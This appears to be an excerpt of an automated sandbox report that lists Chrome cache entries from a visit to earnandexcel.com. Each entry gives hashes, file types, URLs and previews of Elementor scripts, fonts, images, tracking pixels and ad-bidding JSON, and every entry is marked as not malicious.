SSDEEP:	3:Y2AOQIgLVccVWtXw7knxC1UV+0cYJWNEeHWUsuXCWEGZn:Y2AOQIgL2xtXwY2M+tkKEeCrWEGZ
MD5:	AD75FF83A4578132F131714483A26807
SHA1:	B2F18968546C86182C75A2E974DEC0E0C46B2010
SHA-256:	94F71A5A26CEA061EB1A42F1725C2EEF749118A125933791335C1B896D6214F0
SHA-512:	D47FC45D6F316258079BD6596C9E6C6E94937BBF33C23A4A0CD0D49C75BB1036901DAB5B6169214CBE4B945AD97F32EC1B6E6F9714938C978C5604378A05E9B6
Malicious:	false
Reputation:	low
URL:	https://track.wickedreports.com/index.php?WickedClientID=3819&WickedEmail=&WickedTrackingDate=1712870810295&WickedURL=https%3A%2F%2Fearnandexcel.com%2F&WickedReferrerURL=&WickedNullURL=https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%20traffic&WickedNullReferrerURL=
Preview:	{"SequenceNumber":"49648752392988234712500121741171422753951037139500138978","ShardId":"shardId-000000000030"} Tracked

Chrome Cache Entry: 688

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37635)
Category:	downloaded
Size (bytes):	37674
Entropy (8bit):	5.189391960571523
Encrypted:	false
SSDEEP:	768:lRxqDvxJMEa/mjV5rVehz8P8QEAzDc5GfTSebsvZiV1uUUPSz5oedXLf2v3x+FP0:lRxq7xJMEairVnXEAzDc5ITSebsRiV16
MD5:	78A799135871A38563E18DCAF6589668
SHA1:	8EFE4B9E9C6EE5F0E118DA3F65A90C19FDE1E608
SHA-256:	CDF438C27294539B20F4949DF8192574F18B1852C9F6C61CE4A2096057947852
SHA-512:	3BF8085A0F9BE756F1EB91111A1F463763CD972131A2CE72CA8A4366948BF6C39B13536646ABDB9D8699189FAFED0482BDDB093464B7443C5D5CA8D397B77C3A
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/js/frontend.min.js
Preview:	/! elementor - v3.6.0 - 21-03-2022 /."use strict";(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[819],{9220:(e,t,n)=>{var i=n(7914);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(n(8135));class _default extends elementorModules.ViewModule{constructor(...e){super(...e),this.documents={},this.initDocumentClasses(),this.attachDocumentsClasses()}getDefaultSettings(){return{selectors:{document:".elementor"}}}getDefaultElements(){const e=this.getSettings("selectors");return{$documents:jQuery(e.document)}}initDocumentClasses(){this.documentClasses={base:s.default},elementorFrontend.hooks.doAction("elementor/frontend/documents-manager/init-classes",this)}addDocumentClass(e,t){this.documentClasses[e]=t}attachDocumentsClasses(){this.elements.$documents.each(((e,t)=>this.attachDocumentClass(jQuery(t))))}attachDocumentClass(e){const t=e.data(),n=t.elementorId,i=t.elementorType,s=this.documentClasses[i]\|\|this.documentClasses.base;this.documents[n]=ne

Chrome Cache Entry: 689

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65497)
Category:	downloaded
Size (bytes):	157372
Entropy (8bit):	4.808411751499811
Encrypted:	false
SSDEEP:	1536:ug9zWL67C2WV0ofiOKvYtPyFyZCynfQL7k:uJV/fiOuGZCyf
MD5:	1E30F926C81FD0A2A252550E09411780
SHA1:	B3CDA66A9E11BAD28F041763B4DEA9DFC637D546
SHA-256:	35A56DC237F3CE93968206A16A2A39FA0833638014F36C9986ABBD0291E1D9E7
SHA-512:	9A17190921A72A1036F69F0D9A4EB28B65B5DC14BDEF18BD993CC71E66CCEB625D80EC77FE269F3D11FBA4C8BB48609B092ECFAC78656D30C4459960E3E0A4FB
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/css/frontend.min.css
Preview:	/! elementor - v3.6.0 - 21-03-2022 /..dialog-widget-content{background-color:#fff;position:absolute;border-radius:3px;-webkit-box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);overflow:hidden}.dialog-message{font-size:12px;line-height:1.5;-webkit-box-sizing:border-box;box-sizing:border-box}.dialog-type-lightbox{position:fixed;height:100%;width:100%;bottom:0;left:0;background-color:rgba(0,0,0,.8);z-index:9999;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.dialog-type-lightbox .dialog-widget-content{margin:auto;width:375px}.dialog-type-lightbox .dialog-header{font-size:15px;color:#495157;padding:30px 0 10px;font-weight:500}.dialog-type-lightbox .dialog-message{padding:0 30px 30px;min-height:50px}.dialog-type-lightbox:not(.elementor-popup-modal) .dialog-header,.dialog-type-lightbox:not(.elementor-popup-modal) .dialog-message{text-align:center}.dialog-type-lightbox .dialog-buttons-wrapper{border-top:1px solid #e6e

Chrome Cache Entry: 690

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 691

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, progressive, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1845
Entropy (8bit):	7.1079290432025735
Encrypted:	false
SSDEEP:	24:U8pxb/NEcalV78vlnAlObhhvmu8a7WpEG3dWFW7rZ5ZiXriZVJzljkYpeeU8n8Ja:U8TNNAMbh18fEGN97bZV92YQiCoD
MD5:	2C677C50A5B258F67A585FBB6103AE24
SHA1:	3AFAE105B2198E56F06B95AF2AB7A6CC60965367
SHA-256:	6E7EB7E6D433A6A6F77F111A8FD60F6949CEA0D6FAEA73DEA46F4F669BBF488F
SHA-512:	C2385E8AAA165C55B0C133E1FC041520806AF0FD6E299565FC4A6ACC1AAE943BD712F76ACAC6C83E681CC4399E964788C724D0D41CAF6180B319393D1EA826A9
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....C....................................................................C....................................................................... . .."......................................................................Y9<.G..@e..L.P.....u...R.........................................^...r.5q..K..v.:\..K.5......GzBL.h..A..W^y..........y.L+.....H.TI.....&..........................!..."#a...........?....5F..5....o...J.}d.YB..$.B.O2J..<'.Bu.>m.....#..M.v.. "..x.)y........{.:N.O..Y.Xb7..[.}..E.V..-.y..).>?..c....R .V.LpX.6%..A...."..............................12........?....s..s_;.d/]...w>.~C...MHk.....3...(.s.h.....>.{GO.........i...!.z.{..#=..Z!.1 .../L.y.'..px.ae.-...93.cCB.umK..Ta+^d6Z(..9..L^.........f.YP.A#F..1e...h'.J.{AA.u..[................................!.."#1.ABQ2CaR........?.....1.......3....l.O.{t..y.%..).c..wb?.Gb.......?.i...y.....F.......>z..ge..f.g......2........F{uwV...E...+.r..t..G..7..Y8.<q..gL.4..$..,f.9.6r^.....8.....

Chrome Cache Entry: 692

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	142
Entropy (8bit):	5.560986644364219
Encrypted:	false
SSDEEP:	3:YW/dLkUGmWvHDMhklQ1KnD9oYn79SugwRWXOeud1GbjO8PwY:YWOUZaQhEDH7wIRkOeudUbxl
MD5:	DA0725293A12FED973DC8873EF0F175A
SHA1:	67C4CF517BAA2A1A7818D29304ECD29D7F040EF8
SHA-256:	82DACE85F2CD38588BBF7070B7C7F38FC22529F078E7BB2363361AC1DB122252
SHA-512:	7F49094E0BF4B43D86FB470B232E611B4375458E925365CA564861B7F4D99C8A38886D0E4A36D0EDA94BC59BCB11E4099990ABC05E4FF75B53509D5D8EAA42EE
Malicious:	false
Reputation:	low
URL:	https://pdmp.papi-public.us-east-1.tagger.opecloud.com/v1/targeting?url=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&fpid=206267d9-9ab6-4813-85fd-6fa35eafc3ec&tenant=b4
Preview:	{"s":"uyXj1LaNVYXOjzsKo5dHhHc+0hsJb1pgiDJYhsi/HQhCNjtoBfyi+jiGy34=","t":"2ej5X7K5CK6P1YOBSMVHJsTZlkgxj6/lLLmCxKwmy02sqg==","kid":2,"ttl_s":70}

Chrome Cache Entry: 693

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 694

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (57080)
Category:	downloaded
Size (bytes):	57125
Entropy (8bit):	5.328051984001192
Encrypted:	false
SSDEEP:	1536:bNuVONnQ51H6PHh6PIZaKOleNjb7YzJcDXRuHiqVnb/Q4:bYONQj/f
MD5:	CDA664DC6F8021F3A97F8F8BC7E945BD
SHA1:	76E8F6C2632B5D564039411EF3E0B02CA8FD0982
SHA-256:	12AB3055558FE541BBD70DF670DFEAA2F778CC13CD1074B7C5E79ED1A20F86AC
SHA-512:	5D4BBA91CB2542325F18DB370142651CF0DC069F825627459892C3F2E20C727D1FF657D1963750FBE068816C8146E01328D2D18DBB907B04588E413D8B60245E
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js
Preview:	/! elementor-pro - v3.2.2 - 05-05-2021 /.(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro\|\|[]).push([[819],{8401:(e,t,n)=>{e.exports=n(9043)},7394:(e,t,n)=>{e.exports=n(3679)},3587:(e,t,n)=>{e.exports=n(7092)},2055:(e,t,n)=>{e.exports=n(8473)},3452:(e,t,n)=>{e.exports=n(671)},8274:(e,t,n)=>{e.exports=n(7629)},5499:(e,t,n)=>{e.exports=n(990)},8282:(e,t,n)=>{e.exports=n(6760)},1281:(e,t,n)=>{e.exports=n(9280)},93:(e,t,n)=>{e.exports=n(2194)},8852:e=>{e.exports=function _assertThisInitialized(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}},1959:e=>{e.exports=function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}},9041:(e,t,n)=>{var r=n(7394);function _defineProperties(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable\|\|!1,o.configurable=!0,"value"in o&&(o.writable=!0),r(e,o.key,o)}}e.exports=function _createClass(e,t,n){return t&&_defin

Chrome Cache Entry: 695

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	7470
Entropy (8bit):	4.93899316819689
Encrypted:	false
SSDEEP:	192:1dsXfwH/iR9V/uDCkTeU2IPBDlMa+h69ZOZ5ZXZ9ZbZiZsZ+3ZUE5oMYta8EQ:Ll3gr1vJE646
MD5:	01EA0092781A09DADEBC62A3595C45E3
SHA1:	FD176DB81FB5B9E2A90BAD6DFC56F7BDA8B27F01
SHA-256:	0E75D0352CAC7FBC8D6A9CB5F3E13C5171907705C33D2B48595BE220BD6AA05F
SHA-512:	AD21B39FE291F7E32B3C013843562FF7A53571DA812F03D43CB6C8150D88E988E35707DE2CB2E704853A7800E328550371573078E493ED26D3104F8D1367DE72
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/launcher/settings.json?off=mediavine
Preview:	{"productionVersion":"3.1.3","videoVersion":"9.1.11","ampVersion":"3.0.0","betas":[{"trafficPercentage":2,"version":"3.1.3-ab"},{"trafficPercentage":6,"version":"3.1.3-paMark"},{"trafficPercentage":0,"version":"2.98.13-paLimit.2"},{"trafficPercentage":6,"version":"3.1.3-identityHub"},{"trafficPercentage":6,"version":"3.1.3-megaPAAPI"},{"trafficPercentage":8,"version":"3.1.3-betterBTF"},{"trafficPercentage":6,"version":"3.0.0-fixGGLoad"},{"trafficPercentage":8,"version":"3.1.3-countryMults"},{"trafficPercentage":4,"version":"3.1.3-impUrlShorter"},{"trafficPercentage":6,"version":"3.0.0-noBlob"},{"trafficPercentage":4,"version":"3.1.3-amMV"},{"trafficPercentage":6,"version":"3.1.3-amContentOut"},{"modelRequirement":{"modelProperty":"offering.id","modelValue":"3"},"trafficPercentage":50,"version":"3.1.3-amContentOut"},{"trafficPercentage":2,"version":"3.1.2-adUnitRefactos"},{"trafficPercentage":4,"version":"3.1.3-slockQParams"},{"trafficPercentage":2,"version":"3.1.3-1913-inp.1"},{"traffi

Chrome Cache Entry: 696

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 697

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 194 x 52, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7900
Entropy (8bit):	7.950863697982492
Encrypted:	false
SSDEEP:	192:SZhaNOHqDO0gXMS+upes44R3RGdLScagAydssnLL9F0:SCNHR6MarRwfcyis2
MD5:	D2C0AA1061BCC7AB10F095CC9E983B94
SHA1:	330731B2646AB926CF850016C401E1FC4EEA06FC
SHA-256:	B7017719E71935A782DDBD68C6A8D3A751DDB3FF18F680E45EC354E0C99718CD
SHA-512:	7B9BBE09C98A93F4A91463DCC6A3E1A3B48CAA2763DFF907CCD9F1CACE617E25A49ADEED75FBAC22D5C1F7AB7AE42DF04C208D214FA9D54FE0A3F0CDB2F7C6F8
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/TELSTRA.png
Preview:	.PNG........IHDR.......4.......5....IDATx...UM......."vwwww`!...b...b.b......6bww.z.-x`..9p.p...Y0.}..Y..Yk...KS..d...4.)....O.....o..?~...S.X......./....+..._.../..7H}...{.. ~..X......x...)...#...}..!.={f..=Ji...?o.a.^..q..5...T...[~S.O.&...:....G.S."^...y..4..# \.-:y.....4ib..7Nik...W.W.nK.,.._..$....{.M.0..L.b.'O..#F.q.l.i6\|.p..w.h..DA.......]..P...oY...... h. w../_>.\.rJ[.j.d..'O.[.r%(.R#M?H..=j.:t....Z.r.t..V.D.+\...-[....o..6.;w.(rFN.6./}].\|.\.b.n.k.y.{..].x...d. c..\.`-[....[.v.V.Z)m.....+z;s.L.6.,.e...c....pP7..5jX...T.R.W/.$>#.-..=x....\hm......Y..~=..)S...j..?..N........~...F..7..'...?.nJ....c...Y..;..FV.\|y.1cF0e.,2...zi..n.9r...X.J...:u.x$.+...?..dj.4...]..ab....CJ....H.>}0,..(.....=zxJ.}{7..M.....N..c..qF..(=.7.y.R..<J....:.,Z...dj$.C.3g.....!T.Z.......)R..T.D..p<.j..Z.Y.f...[...5k.....w.....EV.h.t.S..GS.(5....D/....l.bi.8...K.U.K.O'..:u"?..A...T$o..'...q....(.q..x8.b...o.K.9P ...Y.&x..#....Y{....O.......

Chrome Cache Entry: 698

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.200601260429725
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM09/Woz59tVp:6v/lhPfZM09tzjTp
MD5:	C4A2B870062C2BB98C500BC1526C0498
SHA1:	528666CCDB12997358077BC8FCDBFB6B825C7788
SHA-256:	2AA4FA20701CDD6D8D56046069001186B5267E3EE7D0EF618AD2F4A683723E11
SHA-512:	2F1A3ABCD12125F7EF18D61A960901C0FD6F82DD02EA2B8041859E6D5F0A7F08DB17CC110DC6D8A3F7D0D1BA790C4BCCA2506D3C60EDFEB5CB29433E9F4F762E
Malicious:	false
Reputation:	low
URL:	https://tr.snapchat.com/p?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&ev=PAGE_VIEW&intg=gtm&pids=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_c1=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&bg=true&bt=1d53c387&d_a=x86&d_bvs=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&d_os=10.0.0&d_ot=Windows&df=true&huah=true&m_dcl=0&m_fcps=329&m_pi=0&m_pl=0&m_pv=2&m_rd=8352&m_sh=1024&m_sl=4038&m_sw=1280&pl=https%3A%2F%2Fearnandexcel.com%2F%23&trackId=733c58eb-e84c-40b5-b9cb-5b14a04c2b80&ts=1712870848649&v=3.14.1-2404091850
Preview:	.PNG........IHDR....................IDATx.c`...............IEND.B`.

Chrome Cache Entry: 699

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (491)
Category:	dropped
Size (bytes):	510
Entropy (8bit):	5.267209931874735
Encrypted:	false
SSDEEP:	12:U7Dlf8IBbRT7GvbvbUZ1rV95Y2PbKOHTRHwxT7RfCYKO+kFl+X:WDlf8vvbTw1rVtuox0KO+kFlw
MD5:	BDA1A36CD29A57A3D292068F5E6EFA6B
SHA1:	B85701174674A368528ADF43AA33F9C70313321C
SHA-256:	681872958866FB791F6B64F9579CAE06C517B5B3FE1CA02615B1592CE3D8F730
SHA-512:	667A1CFB71FD3D1FE6E15EC94948464AEEC56DF098B4205C3E192F62445AEE54F2F936528C59D8D897A17025A711A8D6511C0B80CBBFC8C158D13AC975CF3E4F
Malicious:	false
Reputation:	low
Preview:	/* aax response */.apstag.bids({"slots":[{"targeting":["amzniid","amznp","amznsz","amznbid","amznactt"],"amzniid":"JPKBCh6CxCYos3KyJpGPnoMAAAGOzw8aMQEAAAJYAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICDQ2aOJ","size":"728x90","meta":["slotID","mediaType","size"],"amznactt":"OPEN","amznsz":"728x90","slotID":"adhesion_desktop","amznp":"w3pr0g","mediaType":"d","amznbid":"14kdd6o"}],"host":"https://aax-us-east.amazon-adsystem.com","cfe":true,"ev":true,"cfn":"bao-csm/direct/csm_othersv5.js","status":"ok","cb":"0"})

Chrome Cache Entry: 700

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	403
Entropy (8bit):	5.993228774312542
Encrypted:	false
SSDEEP:	12:YK74vMz77d3w0vcH24qSc4UYp4my0K8YMTG4:YKUvWVg0vcH0rZYpkMTG4
MD5:	250706D337236B8C65A0A706EFEAAD5B
SHA1:	12AFCECBAFAC9743CA43797847961671E4D5D17C
SHA-256:	0200B725B2E448FB6074AB75AB6E394D08BA9BEE2FE8FB0BC5AAC5EF469DD2DD
SHA-512:	E3D1EB08763A7106BABACCBCC656CB9A61241EBEAA0B5AED63D7FCEA6E59D071112E4C1E52E3ADA8E7E8803214C929B5FA15CFD0345B14D3FBA80C275C3B574C
Malicious:	false
Reputation:	low
URL:	https://imp-dev.mediavine.com/impkey?&bidder=mediagrid_s2s&cpm=1.8489651839999999&adId=25a8635942a9dc&sk=V1:X3Qzy0IfPu/f72kp:LirggY+1tsFYi9yECbHAPbKx3oaOhrGmuOwB2iPy3dnDuWnHgbaDyrsTo6qLZ72DJzuaBwguqFj/+A==
Preview:	{"hb":"V1:9tP8qCOESKNgf5Z5:MAvfAa8wQ6p2tAAJ9aIJUE8v62LsODbsbch+WkP3fViO7ju+UQXe5GY6Jcojp4aGh1q24ULdY8zisdPOIHXa+66Qz1bvym1HSlXQyAPe8gzG4yj/9veGeF4=","adx":"V1:8virkkt5VbNEiURS:kifSO9bzHWzJmQHuyqm8hDz2ya4GTpPbZFy6aEDaljbbOGSaQeOp20SXif39sf7yzGZdh+ILrMRfR2Blch4wo/D0qEwp6OlUOfnxJBgt5cNqXw==","unf":"V1:ChgkBHOOZ38UDL/U:3WgSV3N6gtPjKwQ1RQqskgUM9rScLPxld5NvqD/EsL7RmB+SGJExlrhDBJNT93byEvg2nMFDEOCRrZVoPTvc"}

Chrome Cache Entry: 701

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	142
Entropy (8bit):	5.655535390598166
Encrypted:	false
SSDEEP:	3:YW/b1Eh6xFbVNT5GfV6fm/reqwh16PntsG1HA8PzY:YWjOh6PbVNgfV6eST1itfN3LY
MD5:	0FF30D35D1E2340A80D62217E75790F0
SHA1:	D7525FBD180F87811CA5B4D99F875FC4F54E5C01
SHA-256:	0124B691A0B6EAC8DA64834D8D42411A013BECD148BB651F6B28FAF3D51154CE
SHA-512:	BA50A80AC8397C0D285F02A1C0013EB2608D380F00EABF147EC7841F1EFDF584F2D6C6D1E73ED510BED4F5EAC66D007DE44F262BA1D105D81E090F56D1FC5856
Malicious:	false
Reputation:	low
URL:	https://pdmp.papi-public.us-east-1.tagger.opecloud.com/v1/targeting?url=https%3A%2F%2Fearnandexcel.com%2F%23&fpid=206267d9-9ab6-4813-85fd-6fa35eafc3ec&tenant=b4
Preview:	{"s":"+Ia3bpvQhawDUkVJYO6do2/UqBkTiVt1JY/pvdnjfVZTby2g5Eh6TloXYw0=","t":"cgY6iE45OsDNO2DCDzxY9M7YFfJOsEL6k0fE8SS1fHeAEg==","kid":2,"ttl_s":73}

Chrome Cache Entry: 702

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11248)
Category:	downloaded
Size (bytes):	11283
Entropy (8bit):	5.190254988085319
Encrypted:	false
SSDEEP:	192:xUIc1FGRg1TkIjVKVqbaRFIK82u1pD6DyE6+hD9PtMDdhDgAuum41nwLG61wSoyU:xUIc1FXRkIhmq2mK82u1V9E6+VFMVHue
MD5:	B1CC609D9A12CCB6A85675EBED6D8981
SHA1:	D20C43EEA4D0DF24342C01953747C85D83CEEEC1
SHA-256:	1232AEB42CCC1A8C6AD0712081CEAE117322B5CF587BE6CA61717431D047315B
SHA-512:	6D9F5CC17CAB7AA1B2787960D48ECA35717AF23E4757BAB71E3F9C5FE59E979268F08848B5AAC549EF4948E4CF89492F6F0BD6E3A2CB43B0ACB91254EBB15227
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/wplink.min.js
Preview:	/! This file is auto-generated /.!function(s,l,o){var c,e,t,n,i,h=/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,63}$/i,u=/^(https?\|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,63}[^ "]*$/i,p={},a={},r="ontouchend"in document;function d(){return c?c.$('a[data-wplink-edit="true"]'):null}window.wpLink={timeToTriggerRiver:150,minRiverAJAXDuration:200,riverBottomThreshold:5,keySensitivity:100,lastSearch:"",textarea:"",modalOpen:!1,init:function(){p.wrap=s("#wp-link-wrap"),p.dialog=s("#wp-link"),p.backdrop=s("#wp-link-backdrop"),p.submit=s("#wp-link-submit"),p.close=s("#wp-link-close"),p.text=s("#wp-link-text"),p.url=s("#wp-link-url"),p.nonce=s("#_ajax_linking_nonce"),p.openInNewTab=s("#wp-link-target"),p.search=s("#wp-link-search"),a.search=new t(s("#search-results")),a.recent=new t(s("#most-recent-results")),a.elements=p.dialog.find(".query-results"),p.queryNotice=s("#query-notice-message"),p.queryNoticeTextDefault=p.queryNotice.find(".query-notice-default"),p.queryNoticeTextHint=p.queryNotice.find(".query-not

Chrome Cache Entry: 703

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072971&val=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 704

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1179
Entropy (8bit):	7.719766513943551
Encrypted:	false
SSDEEP:	24:3U4aEO8XGnw47/ri0673MZp9cJpzC20PcJWZnHBJ5FSGPSXo:3iEXGb/riD7w9IpO30Jen9FSG6Xo
MD5:	22A87B5E26F8C05797CFB26CAC793187
SHA1:	C8B901E1D0857E00866517AD70CFE09467DED67B
SHA-256:	FB15375338D26F6762665B0FEB6A062D7854936ECCD588213199E189F19DB17B
SHA-512:	D8F3C27FEFB32A7EA76D3F8336C2830AC24E929428D5AA0D2F29FB3455E139B067B810E97B3E23BAD7CCA0330D495CB96523D0CC59B3674E424645DA98EEEF86
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/counter-media-03.png
Preview:	.PNG........IHDR...0...0.....W......bIDATx..[lTE..W.$^..Hw..Y..B......x..QcX{..].i........"1.o..1.jL...u.lQb..>HL.&j./......?.m.g!......9sf..ofg..d.....V....k....c\.Xm$-.<V..@.o....H.^.3..t..u....pT.l.....j...T......%.....7..[.U.r.0.......a..1..KF.zA......'...g`Z{.^...:.:...\|~..n..3.....<.... ....T..k..%.#...x...q..B.5@.CJ.xza.k.K..L.7.I../..".i.....x}..B{.......T.n... T..@...mh..+..2...0..u.7...8.N~./.&:.z.....g._%....@....+l...b. ...MK.\|...Ij.h.h......p...i......N..T..q..\,Q6.L.O....tp.\|o...w.f.2.s.T....E. 